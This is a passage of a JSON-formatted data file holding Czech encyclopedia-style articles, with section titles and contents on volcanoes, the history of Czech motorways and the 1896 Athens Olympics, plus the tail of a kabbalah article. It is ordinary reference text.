zejména s rozšířením moderní esoteriky a hlavně směru New Age. Příkladem takové „new age kabaly“ může být „kabala“ Michaela Berga z Kabbalah centre, který si získal řadu přívrženců mezi americkými a britskými pop-celebritami, mezi jinými i popovou zpěvačku Madonnu nebo svého času Britney Spears. Současní židovští kabalisté i vědci zabývající se kabalou jsou však proti těmto výkladům kabaly velice skeptičtí a kritizují je jako hrubé falzifikace původního učení kabaly. Jedna z mnoha výtek směřuje právě k tomu, že dle Berga je kabala esoterním „nadnáboženským“ systémem, což jednak není pravda, a jednak to někdy vede laickou veřejnost k mylnému názoru, že kabala je jakousi „židovskou vírou“ nebo nezávislým náboženstvím, což je rovněž mylné." ] }

{ "title": [ "Vznik sopek.", "Druhy sopek.", "Explozivní.", "Výlevné.", "Smíšené.", "Typy erupcí.", "Rozšíření sopek.", "Země.", "Vulkanismus ve sluneční soustavě.", "Vlivy erupcí na prostředí.", "Predikce exploze.", "Signály vulkánů.", "Zemětřesení.", "Úniky plynů.", "Sopečná aktivita.", "Dělení sopek.", "Vyhaslé.", "Spící.", "Vulkanické blesky.", "Sopky v náboženství." ], "section_level": [ "1", "1", "2", "2", "2", "1", "1", "2", "2", "1", "1", "2", "3", "3", "2", "2", "3", "3", "2", "1" ], "content": [ "Sopky vznikají výstupem magmatu na povrch, kde se magma označuje jako láva, a postupným hromaděním sopečného materiálu nad místem výstupu. K tomuto výstupu může docházet jak pod vodní hladinou, v atmosféře i mimo ní v závislosti na podmínkách panující na povrchu tělesa. Pokud sopka vzniká na mořském dně, kde průměrný tlak na Zemi dosahuje 40 MPa (ale může být až 110 MPa v případě nejhlubších míst), je tímto tlakem významně ovlivněna. Sopečné plyny nemohou snadno unikat z magmatu, takže nedochází k jeho fragmentaci. Na místo toho se objevují lávové výlevy v podobě polštářové lávy. Impakt mimozemského tělesa může také ovlivňovat vulkanickou činnost.", "", "Mezi explozivní sopky se řadí sypané kužely, které vznikají odplyněním magmatu během nízkoenergetických explozí Strombolského typu. Dále sopky vznikající interakci vystupujícího magmatu s povrchovou či podpovrchovou vodou v procesu nazývajícího se jako freatomagmatismus, tímto procesem vznikají tufové prstence, tufové kužele či maary a to v závislosti na dostupném poměru vody a magmatu. Nicméně, v některých případech je sopečná erupce mnohem více energetická vlivem obrovského tlaku plynů v kužele sopky. Tehdy pak může dojít k významné explozi, tzv. Pliniovskému typu erupce, kdy je do okolí vyvrhováno velké množství sopečného materiálu a sopečných plynů. Vzniká tak pyroklastické mračno stoupající desítky kilometrů do atmosféry. V některých případech může dojít taktéž vlivem silné exploze k destabilizaci tělesa sopky a k sesuvům, jako se stalo například v případě sopky Mount St. Helens.", "Štítová sopka je druh sopky s velice pomalu ukloněnými svahy, které jsou tvořeny mnoha vrstvami vysoce mobilními a tedy málo viskózními lávami s malým obsahem podílu SiO. Oproti stratovulkánům nebývají štítové sopky explozivního charakteru a jejich erupce se projevují výlevem značného množství lávy do okolí. Láva se v podstatě pouze vyvalí z trhliny a začne se rozšiřovat do okolí. Pohybující se láva ale může napáchat značné materiální škody. Štítové sopky jsou obvyklé sopečné útvary, které vznikají v oblastech, kde se na povrch dostává málo viskózní magma. Na Zemi jsou nejznámější z oblasti Havajských ostrovů, kde se nachází Kilauea či Mauna Loa. Mimo Zemi jsou známé i z jiných planet jako Venuše či Marsu, kde se současně nachází i největší štítová sopka a hora v jednom v celé sluneční soustavě - Olympus Mons.", "U některých sopek se střídají období, kdy se z jejich kráteru vylévá láva (efuzivní činnost) s obdobími výrazné explozivní aktivity. Tento projev je charakteristický pro stratovulkány vytvářející charakteristicky příkré kužele.", "Chování sopky záleží na složení a struktuře zemské kůry v jejím okolí a na stupni tuhosti lávy. Erupcí je několik typů, pojmenovaných podle jejich charakterů. Láva vytékající z kráteru modeluje tvar sopky, a proto je tvar sopky závislý na charakteru erupce. Každý typ erupce vytváří jiný tvar sopky.", "", "Na Zemi vznikají sopky jako výsledek úniku tepla z vnitřní části Země na její povrch. Dochází k tomu ve třech možných scénářích; na divergentních a konvergentních rozhraních litosférických desek a nad horkými skvrnami. Na sopečnou aktivitu na rozhraní desek připadá přibližně 60 % celkového unikajícího tepla, oproti na horké skvrny pak jen 40 %. Podle teorie deskové tektoniky se zemská kůra skládá z mnoha pevných desek, které plují na svrchní polotekuté části zemského pláště. Tato část se nazývá astenosféra. V místech, kde se desky stýkají, ale navzájem se podsunují či nadsunují jedna na druhou, bývá zemská kůra rozlámaná tak, že si zde magma, které je pod velkým tlakem, může najít cestu na zemský povrch. V případě horkých skvrn mohou sopky vznikat v oblastech nacházející se daleko od těchto litosférických rozhraních.", "Aktivní vulkanismus byl v současnosti pozorován také na Jupiterově měsíci Io, který je silně deformován slapovými silami. Z planet je předpokládán aktivní vulkanismus také na Venuši, ačkoliv ještě nebyl přístroji sond přímo pozorován. I přes to se ale povedlo objevit na povrchu Venuše přes 1600 sopek, většinou neaktivních, nicméně tento počet nemusí být konečný a je závislý na rozlišení snímků povrchu, které máme k dispozici. Na planetě Mars jsou pozorovány geologicky nedávné (mladší než 100 miliónů let) lávové výlevy, které naznačují pokračující vulkanickou aktivitu i tohoto tělesa. Na asteroidu 4 Vesta.", "Sopečný popel, prach a plyny, které se dostaly do stratosféry po výbuchu sopky El Cichón (1982) a Pinatuba (1991), ovlivnily na 2 až 3 roky světové klima. Čím je magma bohatší na síru, tím větší následky má případná exploze na globální klima. Magma bohaté sírou totiž přispívá k větší tvorbě aerosolu, který efektivně blokuje dopadající sluneční záření. Při srovnání dvou přibližně stejně velkých explozí Mount St. Helens a El Chichón je vidět, že sírou chudší magma u Mount St. Helens vytvořilo pouze 1/40 aerosolu oproti El Chichónu. Podle historických pramenů vybuchl asi 1500 let př. n. l. sopečný ostrov Santorini v dnešním Egejském moři. Dnes je Santorini oblíbený cíl mnoha turistů, nicméně po tomto výbuchu se vytvořila vlna tsunami, která mířila přímo na Krétu. Podle vzorků sedimentů se dnes vyvozuje, že vzniklá vlna byla vysoká přibližně 150 metrů a její zaplavení Kréty zničilo vyspělou mínojskou civilizaci. Dostatečně mohutná sopečná erupce může silně zasáhnout nejen do života lidí žijících na svazích sopky a v jejím blízkém okolí, může ovlivnit i oblasti mnohem vzdálenější. Velké množství do vzduchu vymrštěného popela a nečistot totiž může vést k rozsáhlým podnebným změnám přetrvávajícím rok i déle na celé polokouli. Např. výbuch islandského vulkánu Laki v roce 1783 bývá dáván do spojitosti s Francouzskou buržoazní revolucí v roce 1789 - obrovské množství aerosolů uniklých do atmosféry způsobilo v průběhu následujících let znatelné ochlazení atmosféry severní polokoule Země; to se projevilo extrémní zimou téhož roku a v následujících letech chladným létem s nepředvídatelným počasím, které způsobilo neúrodu a následným nedostatkem potravin až hladomorem po celé Evropě - a nedostatek potravy pro populaci a její následná chudoba jsou považovány za jednu z příčin revoluce. Při pokusech o vědecké vysvětlení biblických deseti egyptských ran se uvažuje o příčinné souvislosti s výbuchem sopky Santorin někdy v letech 1645-1600 př.n.l. Kapitolou samou o sobě jsou pak exploze sopečných ostrovů, které mohou být doprovázeny obrovskými tsunami, viz např. Krakatoa, Santorini.", "V letech 1842–1845 byla na západním svahu Vesuvu (608 m n. m.) vybudována první vulkanologická observatoř na světě, kde byly umístěny seizmografické a další přístroje. Vesuv byl pravidelně sledován i v období klidu od roku 1913. V roce 1912 byla na vulkánu Kilauea na Havajských ostrovech vybudována další observatoř, která byla však smetena lávou a nová observatoř znovu vybudována v roce 1924. Hustší a kyselejší magma, které bývá uloženo v menších hloubkách, je příčinou mnohem nebezpečnějších výbuchů, kdy je vyvrhováno obrovské množství plynů a popela, než magma řídké, zásaditější a vystupující z větších hloubek. Nedá se však přesně předpovědět, kdy k erupci dojde. Zde je možné provádět pouze odhady na základě toho, jak se vulkán projevuje – některé se probouzejí častěji – např. Etna i několikrát během jednoho desetiletí, zatímco jiné mají mezi erupcemi delší intervaly, často i nepravidelné - například Vesuv měl ve 20. století erupce v letech 1906, 1912, 1929, 1933 a 1944. Od té doby je v klidu, takže má určité „zpoždění“ ale v posledních letech dochází k častějším seismickým otřesům. Erupce je tedy \"v očekávání\".", "Sopky v některých případech před erupcí varují dost zjevnými úkazy, kterými jsou slabší nebo silnější místní zemětřesení (vulkanické zemětřesení v oblasti sopky) unikající kouř (fumaroly) houstne a tmavne (zvyšuje se podíl sirných i dalších sopečných plynů, unikají nejdrobnější částice popelu), dochází i ke zvukovým efektům – dunění, změny tvaru vulkánu (sklonu svahů), pokud je v blízkosti moře, může stoupnout i teplota vody. V současné době jsou na světě na všech nebezpečnějších sopkách vulkanologické observatoře, které jsou propojeny internetovou sítí. Tak jako meteorologové sledují jevy v atmosféře, tak vulkanologové sledují soustavně projevy vulkánu. Například na Vesuvu je rozmístěno několik seizmografických stanic na různých místech, které soustavně pořizují záznamy. Pravidelně jsou prováděny chemické rozbory fumarol a měřeny jejich teploty. Pokud jsou v kráterech některých sopek jezera, provádějí se chemické rozbory vody, stejně tak jsou sledovány event. prameny, vyvěrající ze svahů. Speciálními přístroji se měří sklony svahů vulkánu, který je sledován z výšky i satelity. Pomocí infračerveného záření se pořizují snímky, které ukazují barevně magmatický krb a eventuální pohyby magmatu.", "I Vesuv varoval menšími i většími záchvěvy. K silnějšímu zemětřesení došlo v roce 79 n. l., kdy bylo v Pompejích pobořeno několik domů. Protože Pompejané od doby založení města (asi v 7. století př. n. l.) nepamatovali žádnou erupci Vesuvu, považovali vulkán za vyhaslý, zemětřesení považovali za projev hněvu bohů a nedávali je do souvislosti s vulkánem. To se jim stalo osudné.", "změny chemického složení fumarol ve prospěch sirných plynů, amoniaku, metanu, vzácných plynů, zvyšování jejich teploty, zvyšování kyselosti vody (obsah kyseliny sírové), změny tvaru sopky, záznamy o pohybech magmatu – to vše nasvědčuje tomu, že vulkán se začíná probouzet.", "Na Zemi je každoročně zhruba 50 aktivních sopek nad mořskou hladinou, kde ohrožují život a majetek miliónů lidí.", "Sopky se dělí na aktivní, vyhaslé a spící.", "Jako vyhaslé označují vědci takové sopky, u kterých se předpokládá, že již nedojde k sopečné erupci, jelikož již nemají přívod magmatu z hlubších částí tělesa. Příkladem můžou být podmořský pás sopek v Tichém oceánu táhnoucí se od Havajských ostrovů k Aljašce, případně sopka Shiprock v Novém Mexiku či sopka Zuidwal v Holandsku. Dále například hrad v Edinburgu je umístěn na zbytku vyhaslé sopky. Nicméně určit, jestli je sopka skutečně vyhaslá či jen spící je velice obtížné. Je to dáno tím, že čas mezi jednotlivými erupcemi může být velice dlouhý. Například kaldery supervulkánů mohou explodovat jednou za několik miliónů let a tak kaldera, která je neaktivní po několik tisíc let se většinou považuje spíše za spící než za vyhaslou.", "Jak již bylo zmíněno výše, je velice složité rozlišit mezi vyhaslou a spící sopkou. Sopky jsou často považovány za vyhaslé, pokud neexistují psané záznamy o jejich aktivitě. Nicméně s ohledem na krátký čas existence psaných záznamů z pohledu geologického času, je tato definice ne zcela vyhovující. Například kaldera v Yellowstone má periodu aktivity okolo 700 000 let, sopka Toba pro změnu 380 000 let. Vesuv byl popisován římskými spisovateli jako hora pokrytá zahradami a vinicemi až do erupce v roce 79 př. n. l., kdy došlo ke zničení měst Herculaneum a Pompejí. Podobně tak sopka Pinatubo byla okolními lidmi téměř neznámá až do erupce v roce 1991.", "V poslední době jsou pozorovány při erupci sopky nad sopkou elektrické výboje. Vědci si nejsou zcela jisti, čím jsou tyto blesky způsobeny, ale jedná se pravděpodobně o velmi rychlé chrlení popela vzhůru, přičemž vzniká elektrická nerovnováha, která se vyrovnává elektrickými výboji.", "Sopky odedávna přitahují pozornost člověka, vzbuzujíce respekt i úctu zároveň. Mnohé národy v minulosti, ale i dnes, považují sopky za posvátné nebo za sídla bohů. Již staří Řekové uctívali boha ohně Héfaista, který sídlil pod činnými sopkami. Staří Římané tohoto boha převzali pod jménem Vulcanus; odtud pochází i název pro sopky – vulkány." ] }

{ "title": [ "Historie dálnic v Česku.", "Začátek stavby dálnic.", "Obnovení výstavby dálnic.", "Přeřazení rychlostních silnic do kategorie dálnice.", "Seznam dálnic.", "Zpoplatnění.", "Ekologické aspekty výstavby dálnic.", "„Salámová“ metoda.", "Ceny dálnic." ], "section_level": [ "1", "2", "2", "2", "1", "1", "1", "2", "1" ], "content": [ "První konkrétní myšlenky postavit silnici napříč Československem se objevily v roce 1935; šlo o projekt „Národní silnice Plzeň–Košice“. Brněnský region předložil druhý návrh silniční magistrály „Cheb–Chust“, která se skládala v úseku Cheb–Košice ze severního a jižního tahu; dál na tehdejší Podkarpatskou Rus pokračoval jediný tah. Oba návrhy však nezískaly přízeň úřadů. V roce 1937 vydal Jan Antonín Baťa knihu \"Budujme stát pro 40 000 000 lidí\", kde mj. navrhl výstavbu dálkové komunikace Cheb – Velký Bočkov, jež ovšem vedla po délce ČSR nejpřímější cestou a vyhnula se Praze i Bratislavě. Nechal dokonce vypracovat její podrobnou studii. Úsek Lužná–Makov vedoucí kolem Zlína byl oficiálně schválen ministerstvem dopravy. Zpočátku se pro označení rychlostních komunikací používal z italštiny přejatý termín \"autostráda\" (\"autostrada\") nebo \"autodráha\" odvozený z německého \"Autobahn\". V oficiálních plánech se používalo označení \"dálková komunikace\". V prosinci 1938 se začal používat termín \"dálnice\". Za původce slova bývá označován zaměstnanec tehdejšího Velitelství stavby dálkových silnic (později přejmenovaného na Generální ředitelství stavby dálnic) Ing. Karel Chmel. Jeho nadřízený, velitel Stavby dálkových silnic Václav Nosek, v dopise ministerstvu národní obrany termín oficiálně navrhl a zdůvodnil.", "Na podzim 1938 po Mnichovské dohodě byly ztrátou území okleštěny i důležité dopravní tepny, výstavba nových se tak stala důležitou. Do konce roku byl vypracován podrobný projekt dálnice Praha–Brno–Slovensko. Začátkem roku 1939 začaly přípravné práce na prvních dvou úsecích dálnice, a to Praha–Humpolec a Zástřizly–Lubná. 2. května 1939 u Průhonic byl slavnostně proveden první výkop. V této době se také začala připravovat německá exteritoriální dálnice Vídeň – Vratislav vedoucí okolo Brna; její výstavba začala již v dubnu 1940. 1. prosince 1938 zahájili Němci stavbu tzv. sudetské autostrády (tehdy na území Německé říše) v trase Streitau (v Bavorsku) – Cheb – Karlovy Vary – Lovosice – Česká Lípa – Liberec – Görlitz (v Prusku, nyní Sasku). Po vzniku Protektorátu Čechy a Morava 16. března 1939 bylo vydáno nařízení, že dálnice Praha–Brno–Slovensko má být začleněna do německé sítě. Znamenalo to především použití přísnějších parametrů. V průběhu války se v Čechách a na Moravě stavělo na několika místech na trasách Praha–Brno a připravovaly se dálnice směrem na Plzeň a Lovosice. V Posázaví se vystavělo několik mostů a úseků vozovky. Později během války byly práce zastaveny pro nedostatek oceli, která byla důležitější pro válečné účely. V osvobozeném Československu se tak nacházely části tří nedokončených dálnic v úhrnné délce 188 km. Kromě dálnice Praha–Brno s celkovou délkou rozestavěných úseků 77 km to byla nyní nepotřebná „Hitlerova dálnice“ z nově polské Wroclawi do Vídně, souvisle rozestavěná mezi obcemi Městečko Trnávka u Moravské Třebové a Ledce u Rajhradu v délce 83 km, a „sudetská dálnice“, jejíž rozpracované úseky u Chebu a Liberce měly dohromady délku cca 28 km. Byla zahájena dostavba těchto rozestavěných úseků, ale do roku 1950 byly práce postupně utlumeny a zastaveny.", "Koncem padesátých let začala intenzita silničního provozu narůstat a brzy převýšila úroveň z doby před válkou. V roce 1963 byla vymezena vybraná silniční síť určená k přednostní modernizaci a zároveň byl stanoven tvar a rozsah dálniční sítě. V roce 1967 byla zahájena výstavba dálnice D1 Praha–Brno. Její trasa až na malé výjimky kopírovala plány a rozestavěné části z 40. let. První jedenadvacetikilometrový úsek z Prahy do Mirošovic (kde odbočuje silnice do jižních Čech) byl uveden do provozu 12. července 1971; celá dálnice do Brna byla dokončena humpoleckým úsekem v listopadu 1980.", "K 31. prosinci 2015 bylo v Česku v provozu 775 km dálnic a 463 km silnic pro motorová vozidla (tzv. rychlostních silnic). V lednu 2013 Ministerstvo dopravy navrhlo administrativní přeřazení některých rychlostních silnic či jejich úseků do kategorie dálnic – Nové pojetí dálniční sítě (NPDS). Tento návrh byl později rozšířen tak, aby do kategorie dálnic byla přeřazena naprostá většina rychlostních silnic. Návrh byl schválen v roce 2015 a přeřazení bylo provedeno k 1. lednu 2016. Síť dálnic se tak rozšířila o 438 km. Zbylé rychlostní silnice a některé další 4proudé silnice se středním dělicím pásem vytvořily kategorii silnic pro motorová vozidla s nejvyšší dovolenou rychlostí 110 km/hod.", "Jednotlivé dálnice se v Česku značí písmenem D. Od 1. ledna 2016 se česká dálniční síť skládá z celkem 19 dálnic. Na konci roku 2016 bylo alespoň v částečném provozu 17 dálnic, ale jen pět z nich (D2, D5, D8, D10 a D46) je dokončených. U zbylých dálnic se ještě mnoho úseků ani nezačalo stavět. Původně byla plánována i dálnice D47 z Brna do Ostravy, která byla v úseku Lipník nad Bečvou - Ostrava s tímto označením rozestavěna. V roce 2006 však Ředitelství silnic a dálnic rozhodlo, že veškeré úseky dálnice D47 budou zprovozněny už jako součást dálnice D1.", "Ve většině zemí je používání dálnic, někde i rychlostních silnic, zpoplatněno. V Česku je tomu tak od roku 1995. Poplatky se platí formou časových kupónů (dálniční známka), které jsou od roku 2010 vydávány pouze pro vozidla do hmotnosti 3,5 tuny. Od 1. ledna 2007 bylo též zavedeno elektronické mýto pro vozidla nad 12 tun a od 1. ledna 2010 i pro vozidla nad 3,5 tuny. Uvažuje se o zavedení elektronického mýta i pro ostatní automobily.", "Když byla zahájena výstavba prvních dálnic v Česku, na ekologické důsledky takovýchto staveb nebyl kladen příliš velký důraz. Teprve po společenských změnách v listopadu 1989 došlo ke změně legislativy a k celkovému zpřísnění podmínek pro jakoukoliv výstavbu, která má vliv na životní prostředí. Kromě jiného v Česku začaly platit také poměrně přísné předpisy EU. Před zahájením výstavby tak investor musí získat celou řadu povolení a prokázat, že stavba nebude mít na životní prostředí příliš negativní vliv. Kromě toho se objevila různá ekologická hnutí, která začala více či méně intenzivně prosazovat svoje představy v oblasti ekologie a ochrany životního prostředí. Dochází k ostrému střetu zájmů, kdy na jedné straně stojí zájmy investora (stát prostřednictvím Ředitelství silnic a dálnic) a zájmy přepravců, dopravců, motoristů a obyvatel obcí postižených dosavadní silnou průjezdnou dopravou, na druhé straně zájmy ochrany přírody a krajiny, která je výstavbou dálnic často více či méně znehodnocována, a obyvatel míst postižených výstavbou, zastoupené jak ekologickými iniciativami, tak příslušnými státními orgány. Investor se (teoreticky) snaží dosáhnout rychlé a pokud možno levné výstavby, zatímco státní orgány určené k ochranné přírody a krajiny a ekologická hnutí chtějí vliv staveb na životní prostředí v maximální možné míře eliminovat. Výsledkem je poměřování politické síly obou stran, které někdy vyústí v kompromisní řešení. Někteří odpůrci výstavby či odpůrci prosazovaných variant projektu se aktivně účastní správních řízení, která předcházejí vydání stavebního povolení, podávají v jejich rámci řadu připomínek a pokud jim není vyhověno nebo nebyl dodržen zákonný postup, podávají odvolání. Některé skupiny komplikují výstavbu obstrukčními postupy, například tím, že skupují malé pozemky na pro ně nepřijatelných trasách a odmítají je prodat.", "Velmi kritizovaným aspektem výstavby dálnic v Česku je tzv. \"salámová metoda\" schvalování a výstavby. Tato metoda spočívá v tom, že celá plánovaná dálnice je (převážně z finančních důvodů) rozdělena na několik úseků po cca 12 km (obvykle úsek mezi 2–3 křižovatkami) a každý tento úsek je plánován, posuzován a stavěn zvlášť, téměř nezávisle na ostatních navazujících úsecích. Často se tak stává, že je několik souvislých úseků již dokončeno a provozováno a u navazujících, pro dopravu zcela klíčových úseků, není ještě vůbec jisté kudy vlastně povedou, nebo dokonce zda vůbec budou schváleny. Tyto úseky jsou navíc z ekologického hlediska obvykle ty nejcitlivější, jako např. dálnice D8 přes CHKO České středohoří, dálnice D3 přes Posázaví, silnice I/35 u CHKO Český ráj, severní část Pražského okruhu, aj. V okamžiku, kdy je již většina úseků postavena a provozována je obecně (investorem, dopravci, politiky a státními úředníky, médii, obcemi, i veřejností) kladen silný tlak na dostavbu zbývajících úseků, které jsou sice na jednu stranu klíčové až nezbytné pro dopravu, ale velmi citlivé pro ekologii. Spor o dálnici tak dosahuje svého vrcholu. Pokud by odpůrci problematického úseku dálnice se svou kritikou uspěli a problematické úseky se nakonec nepostavily (zatím se to ještě nestalo), tak již postavené a provozované úseky dálnice mohou být brány jako naddimenzované nebo dokonce úplně zbytečné a tudíž neekonomické, protože dálnice by končila tzv. „v polích“ (nikam by dále nenavazovala) a sloužila by jen minimálnímu množství dopravy mezi několika městy, místo aby sloužila dálkovému tranzitu o vysokých provozních intenzitách tak, jak byla navržena a postavena. Mimo to salámová metoda prodlužuje a komplikuje přípravy a výstavbu celé dálnice. \"Salámová metoda\" ale není záležitost posledních let, jak si někdo může myslet, dálnice se v Česku takto staví již od 60. let 20. století, tedy již více než 40 let.", "V Česku se za využití dálnice platí „dálničními kupóny“. K dispozici jsou desetidenní, měsíční a roční. Roční kupón je platný vždy od 1. prosince do 31. ledna následujícího po roce, kterého se týká. Jako důkaz o zaplacení se pro auta s hmotností do 3500 kg používá samolepicí „dálniční známka“, ta se vylepuje na čelní sklo. Vozidla s hmotností nad 3500 kg podléhají systému elektronického mýta. Porovnávání cen dálnic je velmi náročné a kromě vysokých technických a ekonomických znalostí vyžaduje značnou trpělivost při získávání údajů. Pro dálnice v Česku – údaje z jiných zemí nemáme – je zejména typické po schválení výsledného rozpočtu postupné navyšování ceny až o desítky procent. ŘSD používá mj. tyto postupy: O tom, že ono tradičně připomínané srovnávání cen dálničních staveb v Česku s Německem je poměrně zavádějící, hovořil v roce 2010 tehdejší ředitel ŘSD Alfréd Brunclík. „\"Když vezmete cenu dálnice v Německu, která vznikla někde v Sasku na písku, tak je samozřejmě levnější než dálnice kolem Ostravy. Ceny dálnice výrazně ovlivňuje reliéf krajiny, kterou prochází. Jeden metr mostní konstrukce stojí sedm až osmkrát více než normální konstrukce dálnice. Metr tunelu vyjde desetkrát dráž. K tomu je nutné připočítat veškeré sjezdy či mimoúrovňová křížení, která stavbu konkrétní dálnice prodraží. Průměrné ceny jsou často zkreslující. Když se podíváte na cenu rychlostní silnice R48 mezi Frýdkem-Místkem a Těšínem, dojdete k závěru, že stavíme kilometr za 170-180 milionů korun. Ale u Ostravy jsme zase stavěli za 900 milionů“\" vysvětloval v srpnu 2010 pro Lidové noviny Brunclík." ] }

{ "title": [ "Znovuzrození her.", "Organizace.", "Symboly.", "Soutěže.", "Program.", "Sportovní disciplíny.", "Zahajovací ceremoniál.", "Závěrečný ceremoniál.", "Vrcholy her.", "Atletika.", "Cyklistika.", "Gymnastika.", "Plavání.", "Střelba.", "Šerm.", "Tenis.", "Vzpírání.", "Zápas.", "Výsledky.", "Medailové umístění.", "Protagonisté." ], "section_level": [ "1", "1", "2", "1", "2", "3", "3", "3", "2", "3", "3", "3", "3", "3", "3", "3", "3", "3", "2", "2", "2" ], "content": [ "Během 18. století bylo několik malých sportovních akcí pojmenováno podle starověkých olympijských her. Baron Pierre de Coubertin čerpal konkrétní inspiraci z Wenlockých olympijských her, které se konaly v Much Wenlock v Shropshire, kde byly od roku 1850 každoročně pořádány hry v tradičních soutěžích, jako je například atletika, fotbal, kriket nebo kroužky, a také z her pořádaných v Řecku od obchodníka a filantropa Evangelise Zappase. Rozhodnutí obnovit prastarou tradici a zorganizovat moderní olympijské hry v Řecku bylo oficiálně schváleno na prvním olympijském kongresu, organizovaném Pierrem de Coubertinem v amfiteátru Sorbonny v Paříži. Schůze měla silně mezinárodní charakter, díky přítomnosti mnoha významných osobností, kteří uposlechli výzvu Coubertina; na první den se zúčastnilo diskusí až dva tisíce lidí. Bylo tam 78 delegátů zastupující 49 sportovních klubů z třinácti hlavních světových mocností. Byli zde přítomní také belgický král Leopold II, princ z walesu Edward, princ Constantine a William Penny Brookes. Po přijetí návrhu kongresem bylo nutné zvolit místo a datum pro první moderní olympijské hry. Coubertin navrhl, aby se hry odehrávaly v Paříži, současně se Světovou výstavou v roce 1900. Ale v obavě, že šest let čekání by mohlo zmenšit veřejný zájem se rozhodlo, že se tyto hry budou konat už v roce 1896. Ve stanovené lhůtě členové kongresu obrátili svou pozornost k výběru hostitelského města. Většina zpráv říká, že jeden z kongresmanů navrhl Londýn, ale Coubertin nesouhlasil. Po krátké diskusi s Demetriusem Vikelasem zastupujícím Řecko Coubertin navrhl Atény. Vikelas podal oficiální návrh dne 23. června a poté, co kongres jednomyslně odhlasoval toto rozhodnutí, se Řecko stalo domovem prvních moderních her. Poté byl Vikelas zvolen prvním prezidentem nově vytvořeného Mezinárodního olympijského výboru.", "", "Na Letních olympijských hrách v roce 1896 byli oceněni pouze první dva sportovci v každé disciplíně. Vítěz každého závodu získal korunku z olivové ratolesti (pocházející z Altisu, v těsné blízkosti Olympie), stříbrnou minci vytvořenou Julesem-Clémentem Chaplainem a diplom namalovaný řeckým malířem Nikolaosem Gyzisem. Na lícové straně medaile byl ztvárněn Zeus, který drží v ruce globus, s okřídlenou postavou Vittorie, zatímco v levé části mince je nápis \"Ολυμπία\" (\"Olimpia\"). Na rubu medaile je znázorněn pohled na Acropoli, vše obklopuje nápis \"Θερινοί Ολυμπιακοί Αγώνες\" (\"Mezinárodní olympijské hry\"). Druzí v cíli získali medaili vyhotovenou z mědi, kterou navrhl Nikiphoros Lytras a vavřínovou ratolest. Někteří olympijští šampioni dostávali navíc speciální ceny. Robert Garrett převzal z rukou korunního prince Constantina antickou vázu, Pantelis Karasevdas karabinu, Ioannis Frangoudis pistoli a Spyridon Luis stříbrný pohár. Poprvé zde také zazněla oficiální olympijská hymna.", "", "", "Největší počet sportů byl navržen k projednání během olympijského kongresu v roce 1894, který se konal v pařížské Sorbonně. Během athénské schůzky, která se konala v období mezi 12. listopadem a 24. listopadem, někteří funkcionáři organizačního výboru sestavili seznam disciplín, které by mohly splňovat podmínky na zařazení do programu Letních olympijských her v Athénach 1896. Do užšího seznamu byly navrženy následující sporty: lehká atletika, veslování, cyklistika, kriket, jezdectví, gymnastika, zápas, plavání, šerm, tenis a jachting. Šerm byl jediným sportem olympijských her v Athénách, ve kterém se mohli prezentovat i profesionálové, konkrétně pro ně byla vyčleněna disciplína, fleret-mistři. Mezi zkoušky síly byly zařazeny vzpírání a řeckořímský zápas, zatímco box nebyl zařazen z důvodu malé vznešenosti v porovnání s prvně jmenovanými. Cyklistika byla zařazena bez větších problémů, jelikož se jednalo o jeden z velmi populárních sportů té doby, zatímco střelba byla prosazena až na popud samotného de Coubertina, vášnivého střelce. Sporty jako gymnastika, plavaní a veslování neměly problém se začlenit do programu her, stejně jako honosnější sporty, kterými byly tenis a jachting. I když bylo jezdectví jedním z nejpopulárnějších sportů 19. století, jeho zařazení do programu zhatila obtížná doprava koní na místo konání. Kolektivní sporty jako rugby a kopaná nebyly součástí oficiálního programu. Jedním z důvodu nezařazení těchto sportů byl malý počet amatérských klubů. Byl však zorganizován fotbalový turnaj, který probíhal paralelně s olympiádou, výsledky celého turnaje stejně jako jednotlivých zápasů nejsou známy. Zatímco turnaj v kriketu byl zrušen, pravděpodobně z důvodu nedostatečného počtu účastníků. Pierre de Coubertin chtěl zařadit do programu i krasobruslení, ale protože byl v Řecku tento sport téměř neznámý, chyběla sportoviště. Závody ve veslování a jachtingu, původně zařazené do programu na 14. dubna, byly zrušeny pro nepřízeň počasí; brzké jarní dny přinesly nízké teploty, silný vítr a rozbouřené moře. LOH v Athénách 1896 nakonec představily 43 sportovních disciplín devíti sportovních odvětví.", "6. dubna (25. března podle juliánského kalendáře) byly oficiálně zahájeny první letní olympijské hry v řecké metropoli, Athénách. Datum nebylo vybráno náhodně, bylo velikonoční pondělí a navíc celé Řecko slavilo den nezávislosti. Ulice a budovy v celých Athénách, byly vyzdobeny různobarevnými vlaječkami a květinami, to vše stylizované do tvaru písmen OA (iniciály \"Ολυμπιακοί Αγώνες\", \"Olympijské hry\") a data 776–1896 (22. července 776 před naším letopočtem byly zahájeny první antické olympijské hry). Ráno královská rodina a organizátoři her zamířili do kostela, aby si připomněli výročí osvobození od turecké invaze. Kolem poledního začaly na Panathinaiko proudit davy lidí, asistovala jim k tomu nově vytvořená Olympijská policie, která se vyznačovala nápadným oblečením. Černé kalhoty doplňovalo třešňové sako a bílá přilbice. Na Panathinaiko se sešlo cca 80 000 lidí, včetně celé královské rodiny. Nejprve nastoupili všichni sportovci, kteří se rozdělili na ploše dle příslušnosti k jednotlivým národům. Po projevu prince Constantina, prezidenta organizačního výboru her, se přibližně v 15:30 ujal slova jeho otec, král Jiří I. Řecký, aby oficiálně zahájil Olympijské hry.", "12. dubna, uspořádal král Jiří I banket pro sportovce a organizátory her, během něhož poděkoval všem, kteří se zasloužili o znovuzrození Olympijských her a všem, kteří se podíleli na jejich pořádání. Ceremoniál slavnostního zakončení, původně plánovaný na 14. dubna, musel být pro déšť odložen na další den. Závěrečný ceremoniál, kterého se účastnila královská rodina, začal ódou na svobodu, jenž je od roku 1865 řeckou hymnou. Poté George Stuart Robertson, britský tenista a držitel bronzové medaile ze čtyřhry právě končících her, přednesl oslavnou báseň ve starořečtině. Nechal se tak inspirovat Pindarem, který podobné ódy skládal na počest antických olympijských vítězů. Následovalo slavnostní dekorování vítězů a jejich čestný průvod, v jehož čele šel mladý básník Konstantinos Manos a národní hrdina, vítěz maratonu Spyridon Louis. Dále se představili všichni medailisté ze všech výprav. Nastala chvíle, kdy řecký král pronesl závěrečnou formuli, čímž oficiálně ukončil první letní olympijské hry. I když závody nebyly na nejvyšší technické úrovni, první olympijské hry sklidily obrovský úspěch. Proto také řecký král i někteří sportovci žádali, aby olympijské hry byly pokaždé organizovány v Athénách. Coubertin a MOV byli proti, jejich záměrem bylo pořádání her pokaždé v jiném městě Zároveň bylo rozhodnuto, že druhé olympijské hry bude hostit Paříž a třetí se 